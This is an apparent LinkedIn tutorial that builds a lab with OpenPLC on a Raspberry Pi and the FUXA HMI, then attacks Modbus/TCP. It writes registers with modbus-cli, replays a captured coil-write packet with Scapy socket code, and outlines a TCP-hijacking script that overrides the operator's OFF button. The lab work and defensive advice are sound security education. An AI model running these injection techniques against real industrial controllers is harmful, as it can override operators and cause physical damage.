Attacking Modbus, Act 2 - Using Scapy

Intro

As a follow-up to my LinkedIn article, “Attacking Modbus”, posted here: Attacking Modbus (Attacking Modbus (Attacking Modbus | LinkedIn), I would like to take things a bit further and with some guided exercises show you how the Modbus(TCP) protocol is inherently insecure, by diving deep into the protocol specifics from a network packet and TCP stream perspective.

As part of this writeup, we will be building the below depicted lab environment, aimed at simulating a common real-world controls and automation application where an HMI is controlling physical IO through sending Modbus commands to a PLC.

Rather than using a virtual (Python-based) Modbus network stack, this time around we will be using OpenPLC, running on a Raspberry Pi, to add that physical touch and more real-world aspect to our attacks. Additionally, we will implement an opensource HMI solution to add some buttons and gauges to the mix.

But let’s start with the PLC.

?

Introducing OpenPLC

To add the ability to control physical devices like lights I decided to use Autonomy’s multi-hardware Programmable Logic Controller Suite - OpenPLC (https://autonomylogic.com/), which is based on the Beremiz IDE.

Their fantastic work allows running a PLC on a variety of hardware like micro controller boards, Arduinos, and everyone’s Raspberry Pi.

?

Install OpenPLC on a Raspberry Pi

If you are going to follow along with this article, let me share that I tried to run OpenPLC on a Raspberry Pi 5, without luck. Probably because of something I did wrong in the setup process (I suspect I should have chosen a 32-bit variety of the Raspberry Pi OS) but managed to get everything running smoothly on an old Raspberry Pi 3, model B I had laying around.

Overall, the installation process for getting OpenPLC to run on a Raspberry Pi is very straightforward:

1.????? Install (a 32-bit version of) Raspberry Pi OS on your Pi hardware and update the OS.

2.????? Log in to your Pi OS (SSH or keyboard/monitor) and run:

??????????????? sudo apt-get install git

??????????????? git clone https://github.com/thiagoralves/OpenPLC_v3.git

??????????????? cd OpenPLC_v3

??????????????? ./install.sh rpi

3.????? That is all. Once the installer process is done, you will be able to access the OpenPLC runtime environment via a web browser at https://<YOUR_PI_IP>:8080/login

For more detailed instructions and troubleshooting tips, navigate over to the OpenPLC documentation around installing the solution: https://autonomylogic.com/docs/installing-openplc-runtime-on-linux-systems/

Finally, in order to create PLC programs, you will need to install the “OpenPLC Editor” which is downloadable from https://autonomylogic.com/. I am using a Windows-based VM to install and run the editor from.

?

Create the “Very Important Light” PLC Program

As a Modbus target for this exercise, we will be creating a simple two button latch/unlatch function for the OpenPLC we just build, using the OpenPLC Editor. The project will consist out of two buttons, ON and OFF that activate an output, which we will wire up to a LED to show the “physical” aspect of the test setup used in this writeup.

The following YouTube video is an in-depth explanation around setting things up and building the OpenPLC project: Basics 04: OpenPLC on Raspberry Pi with Modbus (youtube.com), as well as convert it from using physical push buttons to Modbus accessible coils, which we will use with the next piece of the puzzle, a browser-based open-source HMI solution to help us turn our lamp on and off over the local network via the ModbusTCP protocol.

Once you’re done, you should have a OpenPLC program running that looks similar to this:

Note that, differing from the YouTube video I added a tag, “SECRET_MW” that we will target during some initial probing of the application, later in this exercise.

?

Introducing the FUXA Web-Based and Open-Source HMI

As discussed in the previous section, we want to be able to turn the very important light on by sending Modbus commands over TCP. For this purpose we will be setting up a software-based and open-source HMI server, namely FUXA: GitHub - frangoteam/FUXA: Web-based Process Visualization (SCADA/HMI/Dashboard) software

From the FUXA GitHub page: “FUXA is a web-based Process Visualization (SCADA/HMI/Dashboard) software. With FUXA you can create modern process visualizations with individual designs for your machines and real-time data display.”

?

Installing the Fuxa HMI environment

Installation of the Fuxa HMI environment is extremely easy. With the following single-line docker (https://www.docker.com/) command things will get downloaded and set up:

docker run -d -p 1881:1881 -v fuxa_appdata:/usr/src/app/FUXA/server/_appdata -v fuxa_db:/usr/src/app/FUXA/server/_db -v fuxa_logs:/usr/src/app/FUXA/server/_logs -v fuxa_shapes:/usr/src/app/FUXA/client/assets/lib/svgeditor/shapes -v fuxa_images:/usr/src/app/FUXA/server/_images frangoteam/fuxa:latest

Now, the Fuxa HMI environment will be available from the machine you are running docker on, by navigating to the following URL: https://localhost:1881/home

?

Create the “Very Important Light” HMI screen

In order to build our HMI screen that controls the very important light, we first need to create a connection to the OpenPLC. This is done from the editor page of FUXA.

1.????? On the editor page, click the setup button and navigate to Connections:

2.????? On the Connections page, click the add (+) button to add a device and fill in the specifics for your OpenPLC device:

3.????? Hit OK and if all is configured properly, the OpenPLC should be added to the Device Settings overview page, with a green indicator light, meaning there is an established connection with the device:

4.????? Next, we will need to add tags to the project. This is done by clicking the tag button of the OpenPLC device connection (the link icon next to the status indicator). From here, define three tags as shown below:?

Note the FUXA tags addressing is a bit skewed due to the way OpenPLC defines its register addresses.

5. Save the project and navigate back to the editor page. Here we will create 2 buttons, a Led Gauge and some text:

6.????? Create 2 events for the push buttons (to turn them into momentary push buttons), from the right-mouse → Interactivity menu:

7.????? Define the property of the Led Gauge to turn green or black depending on the status of LED-1 tag:

8.????? Save the HMI project and switch to the Lab page to test our HMI project:

?

Additional instructions on how to set things up can be found here: HowTo Devices and Tags · frangoteam/FUXA Wiki · GitHub

?

Testing our “Very Important Light” Application

At this point you should be able to turn the led on your test setup on and off with the push buttons of the FUXA HMI project:?

Playing with Modbus-cli

When interacting with ModbusTCP my default tool is always modbus-cli (install with gem install modbus-cli). Letting the tool loose on our test setup we can visually observe writing to coils has a direct effect on the state of the OpenPLC tags. For example, writing a 1 to memory location 0 (%QX0.0 in OpenPLC language) with the command modbus write 172.25.20.11 %M0 1 results in the LAMP coil getting set:?

Turning the lamp off can be achieved with the command . The coils for the PB tags can be set and cleared by targeting the %M1 and %M2 addresses. The one that was less obvious is the SECRET_MW tag at OpenPLC address %MW1. Reading that address gave an unexpected response:

modbus read 172.25.20.11 %MW1 1??

%MW1??????????? 0

I was expecting to see the value 1234 here. After some digging around (reading a ton of registers), I discovered that OpenPLC’s address %MW1 is mapped to the internal register %MW1025:

modbus read 172.25.20.11 %MW0 1026

%MW0??????????? 0

%MW1??????????? 0

%MW2??????????? 0

...

%MW1020???????? 0

%MW1021???????? 0

%MW1022???????? 0

%MW1023???????? 0

%MW1024???????? 0

%MW1025????? 1234

?

Now that we know the address of our SECRET_MW, we can write to it like other register:

# modbus write 172.25.20.11 %MW1025 9999

Next, we will look at what all is shown in a ModbusTCP network packet.

?

What’s in a Modbus packet?

Let’s take a closer look at the ModbusTCP communications between the HMI and the OpenPLC. For this we will use Wireshark (https://www.wireshark.org/) to sniff and visualize the network packets that flow from the FUXA HMI (running in docker on the same machine as Wireshark):

I am using the Wireshark filter ip.addr == 172.25.20.11? and not http and not tcp.port == 8080 to only show relevant traffic between the HMI and the OpenPLC. Additionally, I added some columns to make the data easier to read.

Looking closer at some of the traffic we can see that it consists entirely of “Read Coils” functions (Function Code 1). In the highlighted packet we can see that 172.25.20.10 (the FUXA HMI service) sends a request packet for the status of 3 coils (bit count 3), starting at register 0 (reference number 0):

OpenPLC then responds with the status of the three requested coils:

Which corresponds with the current state of the registers in the OpenPLC project:

Other noteworthy fields in the ModbusTCP packet are:

- Transaction Identifier – A way for the Modbus client and server to keep track of message exchange and which, if not correct resets the connection (and briefly interrupts communincations)

- Reference Number – the id (number) of the coil/marker to start the requested read from

We will be referring to these fields later on.

?

Now let’s see what happens when we push a button. Pushing the PB_ON button results in the HMI service sending two “Write Singel Coil” requests (followed by the OpenPLC responding with acknowledgement packets):

Taking a closer look at a request packet reveals that the HMI service is requesting the coil with Reference Number 1 to be set to 1 (least significant bit of 0xff):

This action is in response to us pushing down on the HMI button. The release of that button can be seen a few packets later, where the HMI service request the same coil to be set to 0 (0x00):

Next, let’s see if we can get that light turned on without using the HMI buttons.

?

Introducing Scapy

As for the method of attacking the Modbus protocol we will be using Python scripts, aided by the Scapy tool/framework.

?

Explanation

From the Scapy webpage: “Scapy is a Python program that enables the user to send, sniff, dissect and forge network packets. This capability allows construction of tools that can probe, scan or attack networks.”

?

Example uses for Scapy

Scapy has many uses, including:

  • Network reconnaissance
  • Packet sniffing and filtering
  • Network traffic analysis
  • Network troubleshooting
  • Network security analysis

?

You install Scapy with the following command:

pip install scapy

?

As a simple example, consider the following python script that uses Scapy to build an ICMP ping packet and sends it to 1.1.1.1:

from scapy.all import *

packet = IP(dst="1.1.1.1")/ICMP()

send(packet)

?

Scapy can also be used to sniff traffic from a network and show/manipulate captured packets:

from scapy.all import *

def packet_callback(packet):

??? print(packet.show())

sniff(prn=packet_callback, count=1)

?

There are many more examples and use cases where Scapy can aid in network traffic and packet related tasks. A simple search in your favorite search engine will provide you with ample more example materials. For now, let’s see Scapy at work in our test setup.

?

Replay attack

We will start manipulating network traffic to force the OpenPLC to do actions the HMI didn’t request. There are various methods to do this, and we will start with the simplest one, replay the packet that sets the PB_ON (PB1) coil.

?

Capture packet

The first thing we need to do is capture the packet we want to replay. Having control over the computer that runs the HMI software makes that a breeze but in typical scenarios this isn’t the case. Instead, an attacker will likely use an attack geared toward switched networks, such as a Man in the Middle (MiTM) attack (MITM (Man in The Middle) Attack using ARP Poisoning - GeeksforGeeks) or attack the network switch directly to somehow make it a broadcast device (with e.g. a CAM overflow attack: https://www.cbtnuggets.com/blog/technology/networking/cam-table-overflow-attack-explained)

?

Update and forward packet

At this point, let’s assume we managed to sniff the network with one of the aforementioned attack methods and managed to grab a network packet capture with Wireshark, containing the PB1 set (write single coil) command. The easiest way to use this for a replay attack is to copy the packet in question by right-mouse click → Copy → As a Hex stream. We can than paste this into a python variable and use Scapy to turn it into a packet:

?

# ipython???????

Python 3.12.6 (main, Sep? 8 2024, 13:18:56) [GCC 14.2.1 20240805]

Type 'copyright', 'credits' or 'license' for more information

IPython 8.28.0 -- An enhanced Interactive Python. Type '?' for help.

?

In [1]: import scapy

In [2]: from scapy.all import *

In [3]: b = "b827eb5dd722e454e8946cf50800450000409ee040003f061c90ac19140aac19140bedec01f6d00c6e7c45dd1dfa801801f6807a00000101080a3d9af2138bfe9e4900620000000601050001ff00"

In [4]: bs = bytes.fromhex(b)

In [5]: ether = Ether(bs)

In [6]: ether.show()

###[ Ethernet ]###

? dst?????? = b8:27:eb:5d:d7:22

? src?????? = e4:54:e8:94:6c:f5

? type????? = IPv4

###[ IP ]###

???? version?? = 4

???? ihl?????? = 5

???? tos?????? = 0x0

???? len?????? = 64

???? id??????? = 40672

???? flags???? = DF

???? frag????? = 0

???? ttl?????? = 63

???? proto???? = tcp

???? chksum??? = 0x1c90

???? src?????? = 172.25.20.10

???? dst?????? = 172.25.20.11

???? \options?? \

###[ TCP ]###

??????? sport???? = 60908

??????? dport???? = mbap

??????? seq?????? = 3490475644

??????? ack?????? = 1172119034

??????? dataofs?? = 8

??????? reserved? = 0

??????? flags???? = PA

??????? window??? = 502

??????? chksum??? = 0x807a

??????? urgptr??? = 0

??????? options?? = [('NOP', None), ('NOP', None), ('Timestamp', (1033564691, 2348719689))]

###[ Raw ]###

?????????? load????? = b'\x00b\x00\x00\x00\x06\x01\x05\x00\x01\xff\x00'

?

The commands above start an iPython (pip install ipython) interactive shell, load the necessary Scapy modules, convert the hex stream copied from Wireshark into a bytes stream which Scapy then converts into a network packet, starting from the ethernet layer. The final command ether.show() visualizes the packet contents in a readable form and allows us to see distinctive fields such as the source and destination IP addresses as well as the xff part of the packet payload that tells OpenPLC to set the requested coil address to 1.

In order to replay the Modbus command, we need to establish a socket connection with the OpenPLC by using some python code (continue in the iPython interactive shell):

?

modcmd = ether.load

sock = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)

server_address = (('172.25.20.11', 502))

sock.connect(server_address)

sock.sendall(bytes(modcmd))

data = sock.recv(1024)

print("RX: ",data)

sock.close()

?

This snippet will extract the Modbus command from the ether variable (the load of the Ethernet packet), will then establish a connection with the OpenPLC (via socket programming) and send the command to OpenPLC, causing the light to turn on (and the button stuck in the ON position:

This is a very basic example of packet replay with lots of room for improvement, which I leave as homework for the reader. Next, let’s look at how we can extend Scapy to make working with the Modbus(TCP) protocol a bit easier.?

?

Extend Scapy with Custom Layers

Looking a bit closer to the output from our code, specifically the way Scapy parses the Wireshark packet into the Ether() class, we can see that after the parsing only the Ether, IP and TCP layers were decoded:

?

In [7]: ether.show()

###[ Ethernet ]###

? dst?????? = b8:27:eb:5d:d7:22

? src?????? = e4:54:e8:94:6c:f5

? type????? = IPv4

###[ IP ]###

???? version?? = 4

???? ihl?????? = 5

???? tos?????? = 0x0

???? len?????? = 64

???? id??????? = 40672

???? flags???? = DF

???? frag????? = 0

???? ttl?????? = 63

???? proto???? = tcp

???? chksum??? = 0x1c90

???? src?????? = 172.25.20.10

???? dst?????? = 172.25.20.11

???? \options?? \

###[ TCP ]###

??????? sport???? = 60908

??????? dport???? = mbap

??????? seq?????? = 3490475644

??????? ack?????? = 1172119034

??????? dataofs?? = 8

??????? reserved? = 0

??????? flags???? = PA

??????? window??? = 502

??????? chksum??? = 0x807a

??????? urgptr??? = 0

??????? options?? = [('NOP', None), ('NOP', None), ('Timestamp', (1033564691, 2348719689))]

###[ Raw ]###

?????????? load????? = b'\x00b\x00\x00\x00\x06\x01\x05\x00\x01\xff\x00'

?

The Modbus part of this Modbus network packet is shown as raw data, or the “load” of the TCP layer.

In order to make dealing with Modbus traffic more convenient, we can extend Scapy’s functionality by writing custom parsers for protocols like Modbus. For example, adding the following code snippet to our python script will allow us to make sense of the ModbusTCP part of the TCP load:

?

class ModbusTCP(Packet):

??? name = "mbtcp"

??? fields_desc = [

??????? ShortField("TransactionID", int('8', 16)),

??????? ShortField("ProtocolID", int('0000', 16)),

??????? ShortField("Length", int('6', 16)),

??????? ByteField("UnitID", int('1', 16)),

??? ]

?

What this snippet does is define fields for Scapy to interpret the raw data. We can see it defines things like Transaction Identifier and Protocol Identifier. Once we have added the code to our iPython terminal, we can call the class via the following command:

In [8]: class ModbusTCP(Packet):

?? ...:???? name = "mbtcp"

?? ...:???? fields_desc = [

?? ...:???????? ShortField("TransactionID", int('8', 16)),

?? ...:???????? ShortField("ProtocolID", int('0000', 16)),

?? ...:???????? ShortField("Length", int('6', 16)),

?? ...:???????? ByteField("UnitID", int('1', 16)),

?? ...:???? ]

?? ...:

In [9]: modbusTCP = ModbusTCP(ether.load)

In [10]: modbusTCP.show()

###[ mbtcp ]###

? TransactionID= 98

? ProtocolID= 0

? Length??? = 6

? UnitID??? = 1

###[ Raw ]###

???? load????? = b'\x05\x00\x01\xff\x00'

?

The remainder of the packet, the part that is not getting parsed by ModbusTCP() is the core Modbus protocol, much like you would find being used on Modbus over serial communication links and is show as the raw load of the ModbusTCP layer. We could again write a custom parser to make this part of the packet readable but as you can imagine, this process quickly becomes very complicated. Luckily the Scapy community has added tons of protocol parsers to the project and there is a custom parser for the entire Modbus protocol, which we can import via? from scapy.contrib import modbus.

?

After importing the modbus module, if we now parse the Wireshark hex stream through Ether() again, we find that it correctly identified the Modbus protocol within the data:

?

In [11]: from scapy.contrib import modbus

In [12]: ether = Ether(bs)

In [13]: ether.show()

###[ Ethernet ]###

? dst?????? = b8:27:eb:5d:d7:22

? src?????? = e4:54:e8:94:6c:f5

? type????? = IPv4

###[ IP ]###

???? version?? = 4

???? ihl?????? = 5

???? tos?????? = 0x0

???? len?????? = 64

???? id??????? = 40672

???? flags???? = DF

???? frag????? = 0

???? ttl?????? = 63

???? proto???? = tcp

???? chksum??? = 0x1c90

???? src?????? = 172.25.20.10

???? dst?????? = 172.25.20.11

???? \options?? \

###[ TCP ]###

??????? sport???? = 60908

??????? dport???? = mbap

??????? seq?????? = 3490475644

??????? ack?????? = 1172119034

??????? dataofs?? = 8

??????? reserved? = 0

??????? flags???? = PA

??????? window??? = 502

??????? chksum??? = 0x807a

??????? urgptr??? = 0

??????? options?? = [('NOP', None), ('NOP', None), ('Timestamp', (1033564691, 2348719689))]

###[ ModbusADU ]###

?????????? transId?? = 0x62

?????????? protoId?? = 0x0

?????????? len?????? = 6

?????????? unitId??? = 0x1

###[ Write Single Coil ]###

????????????? funcCode? = 0x5

????????????? outputAddr= 0x1

????????????? outputValue= 0xff00

?

Next, let’s see how we can use this functionality to more easily intercept and modify Modbus command packets.

?

Modifying Modbus packets on the fly

For the final part of this article, we will look at an example Python script can detect the user of the HMI pushing the PB_OFF button with the purpose of turning of the very important light. After detecting this action, it will react by hijacking the established TCP session between the HMI and the OpenPLC with the ultimate goal of sending a Modbus request to turn the LAMP on, therefor preventing the light from turning off.?

This script goes beyond a few simple lines, and I recommend you use a decent Python Integrated Development Environment (IDE) such as Microsoft Visual Studio Code or Jetbrains’ fantastic PyCharm IDE (https://www.jetbrains.com/pycharm/).??

The following is the complete listing of the python Modbus command injection script:?

Note that if you have trouble running this on a Linux system because of permissions, this might be due to Python not having permissions to send (raw) packets. This can be fixed with setting the proper permissions for the python version you are running (v3.12 in my case):

$ sudo setcap cap_net_raw=eip /usr/bin/python3.12

?

The Python script is fairly straightforward and well documented but let’s go through some of the important parts:?

1.????? Defining the Scapy sniff() function:

sniff(iface="enp0s31f6", prn=pkt_callback, filter ='src host 172.25.20.11 and src port 502')

This line puts the network interface indicated by iface into “promiscuous mode”, allowing it to sniff packets from the network it is attached to. Any packets that match the filter “src host 172.25.20.11 and src port 502” are send to the callback function, pkt_callback for further processing. Note that in order to capture relevant network traffic in a real target environment (not our lab setup where FUXA HMI and Python run on the same machine), we will need to use some attack method to bring that relevant traffic to the attacker machine, as discussed earlier in this article.

?

2.????? By extending Scapy via importing of relevant modules:

from scapy.contrib.modbus import ModbusPDU05WriteSingleCoilResponse, ModbusADUResponse, \ ??? ModbusPDU05WriteSingleCoilRequest, ModbusADURequest

We can now easily determine if captured packets contain certain characteristics of the Modbus protocol such as the Function Code 5 (Write Single Coil) or the targeted register (outputAddr). This greatly simplifies the process of working with the Modbus protocol.

?

3.????? In order to hijack the established TCP connection between the FUXA HMI and OpenPLC we need to properly update the TCP sequence and acknowledgement numbers (see https://madpackets.com/2018/04/25/tcp-sequence-and-acknowledgement-numbers-explained/ for an explanation on these numbers and their importance):

This part of the script swaps the source and destination mac and IP addresses (we are pretending to be the HMI), uses the OpenPLC response packet acknowledgement number as the sequence number and updates our payload packet’s acknowledgement number with the length of the TCP payload, to mimic proper TCP session handling.

?

4.????? We use the Scapy sendp() function to send our custom packet because it allows us to define all layers, whereas the send() function would handle some of the ARP functions for us (which we don’t want):

sendp(PAYLOAD, verbose=0, iface="enp0s31f6")

?

While running the python script we can observe the logic intervening with someone trying to turn the LAMP off with the PB_OFF button.

In the screenshot, packets 2325 and 2326 are the request/response packets related to the action of pushing down the PB_OFF push button on the FUXA HMI screen (recall how we defined two events for the button), packets 2331 and 2332 are the request/response packets for the release of PB_OFF and packets 2334 (highlighted) and 2335 are the request/response packets from our script injecting a Write Single Coil command for Reference ID 0 (the LAMP).

You’ll notice that while you are running this script any attempt to turn of the LAMP is getting overwritten by a force request to turn on (set) the LAMP coil/register.

?

Conclusion

I hope this article showed you how malware like FrostyGoop, that made the news in July of 2024 can leverage the insecurity of common industrial control protocols such as Modbus to easily build malicious executables that can do their nefarious activities by just being on the same network as the controls systems they are targeting.

As with many industrial network protocols, Modbus was designed without security in mind. Not because the creators didn’t care, but because when the Modbus protocol was invented, the application at hand was limited to point-to-point, serial communication links. Security in such situations and environment was just not deemed necessary. Where things went wrong is when industrial equipment vendors of Modbus-enables devices decided to use these ancient, clear-text, insecure protocols on shared media such at Ethernet and the TCP/IP stack. Now anyone on that same shared medium network can intercept, read, manipulate, and forge Modbus packets and commands.

Many of these insecure network protocols are starting to see secure variants, as is the case with Modbus. The creator of Modbus has been working on a secure implementation (MB-TCP-Security-v21_2018-07-24.pdf (modbus.org)), however adoption of new anything is slow in the industrial space for all the obvious reasons.

Some security controls you can implement to detect and to a degree, prevent attacks like the one described in this article include implementing proper network segmentation, deployment of an OT-capable security monitoring solution, and typical cybersecurity hygiene best-practices such as device and system hardening, attack surface management and implementation of least-privilege and separation of duties.


During my bachelor's thesis, I used scapy to implement a virtual ICS (hypothetical water treatment plant) network using the modbus protocol with GNS3 which was successfully identified by MS Defender for IoT. That was a fun project! :)

回复
Bertrand Tebonso

ICS Cybersecurity Professional CISSP, GREM, GRID, GICSP

3 个月

Thanks for sharing. Great work Pascal.

回复

Very helpful and invaluable information. This is highly appreciated. Thanks very much and thanks for mike Holcomb for sharing your name to follow you on LinkedIn.

要查看或添加评论,请登录

Pascal Ackerman的更多文章

  • Attacking Modbus

    Attacking Modbus

    In light of the recent discovery of the FrostyGoop Industrial Control System (ICS) centric malware (Dragos: New ICS…

    31 条评论

社区洞察

其他会员也浏览了